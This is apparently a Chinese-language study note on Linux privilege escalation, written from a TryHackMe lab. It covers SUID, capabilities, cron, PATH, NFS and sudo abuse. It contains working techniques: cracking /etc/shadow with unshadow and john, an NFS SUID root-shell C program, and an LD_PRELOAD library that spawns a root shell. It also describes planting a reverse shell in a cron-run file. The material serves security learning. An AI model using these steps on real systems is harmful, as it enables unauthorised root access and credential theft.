Intro
今天來迅速了解關於Linux提權的常用手法,可能會有些簡陋,主要是提供自己一個思路。在真正提權時根據這個思路來走才不會忙手忙腳
介紹的手法出自 TryHackMe - Linux Privilege Escalation,有興趣的朋友可以自行查閱,後續若有看到新的手法會再進行補充
提權手法:
1. Kernel Exploit
有些Linux版本內核會有漏洞可以利用來提權,這部分可以在最剛開始拿到權限時就進行測試,因為不需要跑什麼腳本,可以通過簡單的查詢來快速排除/利用此項提權手法:
hostname
uname -a
cat /proc/version
cat /etc/issue
查到內核版本後上網查這個版本是否有CVE漏洞可以用來提權,注意這邊版本必需要直接對應,以及使用漏洞前要先徹底了解腳本會帶來的影響,因為這類型的腳本通常有可能造成系統crash
2. sudo -l
快速查閱當前用戶有沒有被授予對特定程序的sudo權限,如果有可利用 GTFOBins 查實際的提權手法
通常來說提權後關注的文件有:
/etc/passwd
/etc/shadow
獲得這兩個文件後可利用 unshadow + john 來破解用戶密碼:
#有兩個文件分別對應/etc/shadow & /etc/passwd
unshadow password.txt shadow.txt > unshadow.txt
john unshadow.txt
3. SUID
通過 find 指令查詢所有設置SUID的程序,進一步利用 GTFOBins 查實際提權手法
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -4000 -user root 2>/dev/null
順帶一提,可以利用 id 來查自己或別的用戶的權限以及所在群組,非常有用:
id
id jerry
4. Capabilities
Capability 是 Linux 內核從 2.2 起引入的權限模型,可以讓某些程式在不設 SUID 的情況下擁有特權操作
因此,如果用 find
查詢 SUID 的話是查不出 capability 的,因為它們所在的層面不同,雖然同樣屬於access control。要查詢Capability可以用 getcap 來查:
getcap -r / 2>/dev/null
若有查到類似 cap_setuid+ep 之類的就表示可能可以利用,因為還要在用 ls
檢查 owner 是否為 root 才能利用。當然這一步也可以在使用 linpeas 的時候就看到結果,只不過要自己去翻就是了 :D
5. Cron jobs
Linux的自動排程程序也可以作為提權手段,思路就是如果有排程任務它的擁有者是root,並且我們擁有這個排程任務執行的script的寫的權限,那麼我們就可以做提權
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
- 例如像上面這個crontab,我們可以先找一下有沒有antivirus.sh,發現好像沒有這個文件,那麼我們正常來說可以創造一個名為 antivirus.sh 的文件並放在 PATH 下,但是當我們檢查這麼多個PATH之後發現當前用戶都沒有寫入權限,因此pass
- 再來我們去檢查 /home/karen/backup.sh 我們有無寫入權限,也是沒有因此pass
- 最後看到/tmp/test.py,對/tmp目錄我們有寫入權限,因此創建一個bash file名為test.py,內容是一個reverse shell返回到我們攻擊主機
- 注意這個test.py實際上並不是python file而是bash file,因為python file的話需要在裡面進一步設置setuid(0)之類的,而我們自己創造的test.py實際上並沒有權限可以這麼做,因此直接利用bash file執行reverse shell即可
6. PATH
利用的就是有些程序調用時使用例如 os.system("vim")
也就是沒有使用絕對路徑,這樣的話linux會默認到環境變數PATH下依照順序到各個目錄下看有沒有這麼一個程序名為 vim
。但如果下面條件有任何一項符合的話我們就可以利用環境變數PATH來提權:
- PATH中有哪些folder並且有folder我們有寫入權限
- 當前用戶有無權限修改PATH
所以我們可以簡化出一個流程用於檢查是否可以利用PATH提權:
- PATH中有哪些folder
- (二擇一)這些folder有沒有w權限
- (二擇一)可不可以修改PATH
- 有沒有script/application可以利用的(也就是有使用相對路徑調用的)
常用指令:
# 查看PATH
echo $PATH
# 查哪些folder當前用戶有寫入(w)權限
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
# 修改PATH
export PATH=/tmp:$PATH
7. NFS
NFS (Network File Sharing)也可以用來提權,思路就是在攻擊主機中mount到受害者主機分享的資料夾,之後用root用戶創建一個executable並且設置SUID,這樣在受害者主機上也會是root權限和SUID:
- 查看NFS
# victim's perspective
cat /etc/exports
- 攻擊者主機:找出NFS並且mount到shared folder
# attacker's perspective
showmount -e <VICTIM_IP> #找出shared folders
mkdir /tmp/ttmp
mount -o rw <VICTIM_IP>:<SHARED_FOLDER> /tmp/ttmp #mount到攻擊者主機文件夾
- 建一個ELF executable並且權限為owner:root和SUID
#include <unistd.h>
#include <stdlib.h>
int main(){
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
- 編譯為ELF executable
gcc nfs.c -o nfs -w
chmod +s nfs
- 最後在reverse shell上執行
./nfs
8. env_keep+=LD_PRELOAD
sudo -l 後若是結果為:
saad@ip-10-10-177-196:/tmp$ sudo -l
[sudo] password for saad:
Matching Defaults entries for saad on ip-10-10-177-196:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User saad may run the following commands on ip-10-10-177-196:
(root) /usr/bin/ping
其中root權限的程序在GTFOBins查過後不能直接提權,再加上有 env_keep+=LD_PRELOAD
的話,可以依照以下步驟提權:
- 新建shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
- 轉為library:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
- 執行
sudo LD_PRELOAD=/tmp/shell.so ping
,其中ping為有root權限的程序
自我總結
提權手法類別:
- kernel exploit
- sudo -l
- SUID
- capability
- cron jobs
- PATH
- NFS